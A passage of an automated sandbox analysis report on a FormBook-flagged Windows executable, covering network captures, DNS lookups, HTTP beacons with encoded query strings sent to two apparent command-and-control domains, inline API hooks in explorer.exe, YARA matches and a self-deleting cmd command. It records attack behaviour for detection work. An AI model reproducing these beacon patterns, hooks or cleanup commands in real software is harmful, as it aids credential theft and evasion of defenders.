                                    TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                    11/20/20-08:44:04.514127TCP1201ATTACK-RESPONSES 403 Forbidden804976734.102.136.180192.168.2.4

                                    Network Port Distribution

                                    TCP Packets

                                    TimestampSource PortDest PortSource IPDest IP
                                    Nov 20, 2020 08:44:04.370511055 CET4976780192.168.2.434.102.136.180
                                    Nov 20, 2020 08:44:04.387168884 CET804976734.102.136.180192.168.2.4
                                    Nov 20, 2020 08:44:04.389692068 CET4976780192.168.2.434.102.136.180
                                    Nov 20, 2020 08:44:04.389849901 CET4976780192.168.2.434.102.136.180
                                    Nov 20, 2020 08:44:04.406249046 CET804976734.102.136.180192.168.2.4
                                    Nov 20, 2020 08:44:04.514127016 CET804976734.102.136.180192.168.2.4
                                    Nov 20, 2020 08:44:04.514169931 CET804976734.102.136.180192.168.2.4
                                    Nov 20, 2020 08:44:04.514471054 CET4976780192.168.2.434.102.136.180
                                    Nov 20, 2020 08:44:04.514564991 CET4976780192.168.2.434.102.136.180
                                    Nov 20, 2020 08:44:04.531097889 CET804976734.102.136.180192.168.2.4
                                    Nov 20, 2020 08:44:24.864048958 CET4976880192.168.2.452.0.217.44
                                    Nov 20, 2020 08:44:24.966701031 CET804976852.0.217.44192.168.2.4
                                    Nov 20, 2020 08:44:24.966809988 CET4976880192.168.2.452.0.217.44
                                    Nov 20, 2020 08:44:24.966959000 CET4976880192.168.2.452.0.217.44
                                    Nov 20, 2020 08:44:25.069392920 CET804976852.0.217.44192.168.2.4
                                    Nov 20, 2020 08:44:25.069421053 CET804976852.0.217.44192.168.2.4
                                    Nov 20, 2020 08:44:25.069430113 CET804976852.0.217.44192.168.2.4
                                    Nov 20, 2020 08:44:25.069735050 CET4976880192.168.2.452.0.217.44
                                    Nov 20, 2020 08:44:25.069809914 CET4976880192.168.2.452.0.217.44
                                    Nov 20, 2020 08:44:25.172363997 CET804976852.0.217.44192.168.2.4

                                    UDP Packets

                                    TimestampSource PortDest PortSource IPDest IP
                                    Nov 20, 2020 08:42:16.947756052 CET5585453192.168.2.48.8.8.8
                                    Nov 20, 2020 08:42:16.974852085 CET53558548.8.8.8192.168.2.4
                                    Nov 20, 2020 08:42:17.926908016 CET6454953192.168.2.48.8.8.8
                                    Nov 20, 2020 08:42:17.954118013 CET53645498.8.8.8192.168.2.4
                                    Nov 20, 2020 08:42:19.072123051 CET6315353192.168.2.48.8.8.8
                                    Nov 20, 2020 08:42:19.099153996 CET53631538.8.8.8192.168.2.4
                                    Nov 20, 2020 08:42:20.021580935 CET5299153192.168.2.48.8.8.8
                                    Nov 20, 2020 08:42:20.057055950 CET53529918.8.8.8192.168.2.4
                                    Nov 20, 2020 08:42:21.183758020 CET5370053192.168.2.48.8.8.8
                                    Nov 20, 2020 08:42:21.210932970 CET53537008.8.8.8192.168.2.4
                                    Nov 20, 2020 08:42:22.243117094 CET5172653192.168.2.48.8.8.8
                                    Nov 20, 2020 08:42:22.270226002 CET53517268.8.8.8192.168.2.4
                                    Nov 20, 2020 08:42:23.413438082 CET5679453192.168.2.48.8.8.8
                                    Nov 20, 2020 08:42:23.440790892 CET53567948.8.8.8192.168.2.4
                                    Nov 20, 2020 08:42:24.578059912 CET5653453192.168.2.48.8.8.8
                                    Nov 20, 2020 08:42:24.605242014 CET53565348.8.8.8192.168.2.4
                                    Nov 20, 2020 08:42:26.284632921 CET5662753192.168.2.48.8.8.8
                                    Nov 20, 2020 08:42:26.313071966 CET53566278.8.8.8192.168.2.4
                                    Nov 20, 2020 08:42:34.399322033 CET5662153192.168.2.48.8.8.8
                                    Nov 20, 2020 08:42:34.426629066 CET53566218.8.8.8192.168.2.4
                                    Nov 20, 2020 08:42:35.969789028 CET6311653192.168.2.48.8.8.8
                                    Nov 20, 2020 08:42:35.996882915 CET53631168.8.8.8192.168.2.4
                                    Nov 20, 2020 08:42:36.999999046 CET6407853192.168.2.48.8.8.8
                                    Nov 20, 2020 08:42:37.043915033 CET53640788.8.8.8192.168.2.4
                                    Nov 20, 2020 08:42:40.765012026 CET6480153192.168.2.48.8.8.8
                                    Nov 20, 2020 08:42:40.792388916 CET53648018.8.8.8192.168.2.4
                                    Nov 20, 2020 08:42:42.514817953 CET6172153192.168.2.48.8.8.8
                                    Nov 20, 2020 08:42:42.541929007 CET53617218.8.8.8192.168.2.4
                                    Nov 20, 2020 08:42:55.032563925 CET5125553192.168.2.48.8.8.8
                                    Nov 20, 2020 08:42:55.072527885 CET53512558.8.8.8192.168.2.4
                                    Nov 20, 2020 08:42:55.595218897 CET6152253192.168.2.48.8.8.8
                                    Nov 20, 2020 08:42:55.660583973 CET53615228.8.8.8192.168.2.4
                                    Nov 20, 2020 08:42:56.156481981 CET5233753192.168.2.48.8.8.8
                                    Nov 20, 2020 08:42:56.192096949 CET53523378.8.8.8192.168.2.4
                                    Nov 20, 2020 08:42:56.720575094 CET5504653192.168.2.48.8.8.8
                                    Nov 20, 2020 08:42:56.774022102 CET53550468.8.8.8192.168.2.4
                                    Nov 20, 2020 08:42:56.920583010 CET4961253192.168.2.48.8.8.8
                                    Nov 20, 2020 08:42:56.956103086 CET53496128.8.8.8192.168.2.4
                                    Nov 20, 2020 08:42:57.267293930 CET4928553192.168.2.48.8.8.8
                                    Nov 20, 2020 08:42:57.302789927 CET53492858.8.8.8192.168.2.4
                                    Nov 20, 2020 08:42:57.656210899 CET5060153192.168.2.48.8.8.8
                                    Nov 20, 2020 08:42:57.691886902 CET53506018.8.8.8192.168.2.4
                                    Nov 20, 2020 08:42:58.248058081 CET6087553192.168.2.48.8.8.8
                                    Nov 20, 2020 08:42:58.283742905 CET53608758.8.8.8192.168.2.4
                                    Nov 20, 2020 08:42:58.841361046 CET5644853192.168.2.48.8.8.8
                                    Nov 20, 2020 08:42:58.876811028 CET53564488.8.8.8192.168.2.4
                                    Nov 20, 2020 08:42:59.653564930 CET5917253192.168.2.48.8.8.8
                                    Nov 20, 2020 08:42:59.689203024 CET53591728.8.8.8192.168.2.4
                                    Nov 20, 2020 08:43:00.405847073 CET6242053192.168.2.48.8.8.8
                                    Nov 20, 2020 08:43:00.441771030 CET53624208.8.8.8192.168.2.4
                                    Nov 20, 2020 08:43:05.868619919 CET6057953192.168.2.48.8.8.8
                                    Nov 20, 2020 08:43:05.906162024 CET53605798.8.8.8192.168.2.4
                                    Nov 20, 2020 08:43:15.031177044 CET5018353192.168.2.48.8.8.8
                                    Nov 20, 2020 08:43:15.058324099 CET53501838.8.8.8192.168.2.4
                                    Nov 20, 2020 08:43:15.325855017 CET6153153192.168.2.48.8.8.8
                                    Nov 20, 2020 08:43:15.361447096 CET53615318.8.8.8192.168.2.4
                                    Nov 20, 2020 08:43:20.819029093 CET4922853192.168.2.48.8.8.8
                                    Nov 20, 2020 08:43:20.855814934 CET53492288.8.8.8192.168.2.4
                                    Nov 20, 2020 08:43:49.834976912 CET5979453192.168.2.48.8.8.8
                                    Nov 20, 2020 08:43:49.862088919 CET53597948.8.8.8192.168.2.4
                                    Nov 20, 2020 08:43:51.183955908 CET5591653192.168.2.48.8.8.8
                                    Nov 20, 2020 08:43:51.211226940 CET53559168.8.8.8192.168.2.4
                                    Nov 20, 2020 08:44:04.324537992 CET5275253192.168.2.48.8.8.8
                                    Nov 20, 2020 08:44:04.364351034 CET53527528.8.8.8192.168.2.4
                                    Nov 20, 2020 08:44:24.729914904 CET6054253192.168.2.48.8.8.8
                                    Nov 20, 2020 08:44:24.862246990 CET53605428.8.8.8192.168.2.4

                                    DNS Queries

                                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                    Nov 20, 2020 08:44:04.324537992 CET192.168.2.48.8.8.80x4f3Standard query (0)www.powderedsilk.comA (IP address)IN (0x0001)
                                    Nov 20, 2020 08:44:24.729914904 CET192.168.2.48.8.8.80xe12aStandard query (0)www.voetbalvandaag.netA (IP address)IN (0x0001)

                                    DNS Answers

                                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                    Nov 20, 2020 08:44:04.364351034 CET8.8.8.8192.168.2.40x4f3No error (0)www.powderedsilk.compowderedsilk.comCNAME (Canonical name)IN (0x0001)
                                    Nov 20, 2020 08:44:04.364351034 CET8.8.8.8192.168.2.40x4f3No error (0)powderedsilk.com34.102.136.180A (IP address)IN (0x0001)
                                    Nov 20, 2020 08:44:24.862246990 CET8.8.8.8192.168.2.40xe12aNo error (0)www.voetbalvandaag.net52.0.217.44A (IP address)IN (0x0001)

                                    HTTP Request Dependency Graph

                                    • www.powderedsilk.com
                                    • www.voetbalvandaag.net

                                    HTTP Packets

                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                    0192.168.2.44976734.102.136.18080C:\Windows\explorer.exe
                                    TimestampkBytes transferredDirectionData
                                    Nov 20, 2020 08:44:04.389849901 CET4792OUTGET /ogg/?FdtP=yL0l42d8z4u&JfspOLvH=fOCM8bU6nldV/iwSncfaF5Bzy/lGPGgo/g5DGIZRlu3EMk3UROnm6TGL4YPAlMSLjacD HTTP/1.1
                                    Host: www.powderedsilk.com
                                    Connection: close
                                    Data Raw: 00 00 00 00 00 00 00
                                    Data Ascii:
                                    Nov 20, 2020 08:44:04.514127016 CET4792INHTTP/1.1 403 Forbidden
                                    Server: openresty
                                    Date: Fri, 20 Nov 2020 07:44:04 GMT
                                    Content-Type: text/html
                                    Content-Length: 275
                                    ETag: "5fb6e13a-113"
                                    Via: 1.1 google
                                    Connection: close
                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a
                                    Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>


                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                    1192.168.2.44976852.0.217.4480C:\Windows\explorer.exe
                                    TimestampkBytes transferredDirectionData
                                    Nov 20, 2020 08:44:24.966959000 CET4795OUTGET /ogg/?JfspOLvH=+OCwvSqshndtikU4mojjB9YFTo9N+xlFipQY5pDaON76D3kf/3J7hGXS0Ci6kD/8+653&FdtP=yL0l42d8z4u HTTP/1.1
                                    Host: www.voetbalvandaag.net
                                    Connection: close
                                    Data Raw: 00 00 00 00 00 00 00
                                    Data Ascii:
                                    Nov 20, 2020 08:44:25.069421053 CET4796INHTTP/1.1 200 OK
                                    Date: Fri, 20 Nov 2020 7:44:21 GMT
                                    Connection: close
                                    Content-Length: 829
                                    X-Frame-Options: SAMEORIGIN
                                    Cache-Control: private, no-cache, no-store, max-age=0
                                    Expires: Mon, 01 Jan 1990 0:00:00 GMT
                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3a 66 62 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 32 30 30 38 2f 66 62 6d 6c 22 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 3c 74 69 74 6c 65 3e 26 6e 62 73 70 3b 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 69 2e 63 64 6e 70 61 72 6b 2e 63 6f 6d 2f 74 68 65 6d 65 73 2f 72 65 67 69 73 74 72 61 72 2f 37 39 31 31 30 35 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 21 2d 2d 0a 76 61 72 20 63 6e 61 6d 65 20 3d 20 22 37 39 31 31 30 35 22 3b 76 61 72 20 69 64 65 6e 74 69 66 69 65 72 20 3d 20 22 22 3b 0a 2d 2d 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 2f 69 2e 63 64 6e 70 61 72 6b 2e 63 6f 6d 2f 72 65 67 69 73 74 72 61 72 2f 76 33 2f 6c 6f 61 64 65 72 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 68 70 5f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                    Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://ogp.me/ns#"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no shrink-to-fit=no"><title>&nbsp;</title><link href="http://i.cdnpark.com/themes/registrar/791105.css" rel="stylesheet"><link href="https://fonts.googleapis.com/css?family=Open+Sans:400,700" rel="stylesheet" type="text/css"></head><body><script type="text/javascript">...var cname = "791105";var identifier = "";--></script><script type="text/javascript" src="//i.cdnpark.com/registrar/v3/loader.js"></script><script type="text/javascript" src="/hp_script.js"></script></body></html>


                                    Code Manipulations

                                    User Modules

                                    Hook Summary

                                    Function NameHook TypeActive in Processes
                                    PeekMessageAINLINEexplorer.exe
                                    PeekMessageWINLINEexplorer.exe
                                    GetMessageWINLINEexplorer.exe
                                    GetMessageAINLINEexplorer.exe

                                    Processes

                                    Process: explorer.exe, Module: user32.dll
                                    Function NameHook TypeNew Data
                                    PeekMessageAINLINE0x48 0x8B 0xB8 0x8F 0xFE 0xE0
                                    PeekMessageWINLINE0x48 0x8B 0xB8 0x87 0x7E 0xE0
                                    GetMessageWINLINE0x48 0x8B 0xB8 0x87 0x7E 0xE0
                                    GetMessageAINLINE0x48 0x8B 0xB8 0x8F 0xFE 0xE0

                                    Statistics

                                    Behavior

                                    Click to jump to process

                                    System Behavior

                                    Analysis Process: 86dXpRWnFG.exe PID: 204 Parent PID: 5912

                                    General

                                    Start time:08:42:21
                                    Start date:20/11/2020
                                    Path:C:\Users\user\Desktop\86dXpRWnFG.exe
                                    Wow64 process (32bit):true
                                    Commandline:'C:\Users\user\Desktop\86dXpRWnFG.exe'
                                    Imagebase:0x220000
                                    File size:962560 bytes
                                    MD5 hash:221E46C09EB3440BEB5A2256211C3262
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:.Net C# or VB.NET
                                    Yara matches:
                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.738669459.0000000003659000.00000004.00000001.sdmp, Author: Joe Security
                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.738669459.0000000003659000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.738669459.0000000003659000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
                                    Reputation:low

                                    Analysis Process: 86dXpRWnFG.exe PID: 6820 Parent PID: 204

                                    General

                                    Start time:08:43:01
                                    Start date:20/11/2020
                                    Path:C:\Users\user\Desktop\86dXpRWnFG.exe
                                    Wow64 process (32bit):true
                                    Commandline:C:\Users\user\Desktop\86dXpRWnFG.exe
                                    Imagebase:0xe30000
                                    File size:962560 bytes
                                    MD5 hash:221E46C09EB3440BEB5A2256211C3262
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Yara matches:
                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000009.00000002.785152903.00000000014C0000.00000040.00000001.sdmp, Author: Joe Security
                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000009.00000002.785152903.00000000014C0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 00000009.00000002.785152903.00000000014C0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000009.00000002.785228330.00000000014F0000.00000040.00000001.sdmp, Author: Joe Security
                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000009.00000002.785228330.00000000014F0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 00000009.00000002.785228330.00000000014F0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000009.00000002.782865836.0000000000400000.00000040.00000001.sdmp, Author: Joe Security
                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000009.00000002.782865836.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 00000009.00000002.782865836.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
                                    Reputation:low

                                    Analysis Process: explorer.exe PID: 3424 Parent PID: 6820

                                    General

                                    Start time:08:43:03
                                    Start date:20/11/2020
                                    Path:C:\Windows\explorer.exe
                                    Wow64 process (32bit):false
                                    Commandline:
                                    Imagebase:0x7ff6fee60000
                                    File size:3933184 bytes
                                    MD5 hash:AD5296B280E8F522A8A897C96BAB0E1D
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Reputation:high

                                    Analysis Process: msdt.exe PID: 4616 Parent PID: 3424

                                    General

                                    Start time:08:43:20
                                    Start date:20/11/2020
                                    Path:C:\Windows\SysWOW64\msdt.exe
                                    Wow64 process (32bit):true
                                    Commandline:C:\Windows\SysWOW64\msdt.exe
                                    Imagebase:0x1300000
                                    File size:1508352 bytes
                                    MD5 hash:7F0C51DBA69B9DE5DDF6AA04CE3A69F4
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Yara matches:
                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000E.00000002.914480557.0000000003550000.00000040.00000001.sdmp, Author: Joe Security
                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000E.00000002.914480557.0000000003550000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 0000000E.00000002.914480557.0000000003550000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000E.00000002.914598348.0000000003820000.00000004.00000001.sdmp, Author: Joe Security
                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000E.00000002.914598348.0000000003820000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 0000000E.00000002.914598348.0000000003820000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000E.00000002.913261174.0000000000F30000.00000040.00000001.sdmp, Author: Joe Security
                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000E.00000002.913261174.0000000000F30000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 0000000E.00000002.913261174.0000000000F30000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
                                    Reputation:moderate

                                    Analysis Process: cmd.exe PID: 4808 Parent PID: 4616

                                    General

                                    Start time:08:43:25
                                    Start date:20/11/2020
                                    Path:C:\Windows\SysWOW64\cmd.exe
                                    Wow64 process (32bit):true
                                    Commandline:/c del 'C:\Users\user\Desktop\86dXpRWnFG.exe'
                                    Imagebase:0x11d0000
                                    File size:232960 bytes
                                    MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Reputation:high

                                    Analysis Process: conhost.exe PID: 2860 Parent PID: 4808

                                    General

                                    Start time:08:43:25
                                    Start date:20/11/2020
                                    Path:C:\Windows\System32\conhost.exe
                                    Wow64 process (32bit):false
                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                    Imagebase:0x7ff724c50000
                                    File size:625664 bytes
                                    MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Reputation:high

                                    Disassembly

                                    Code Analysis

                                    Reset < >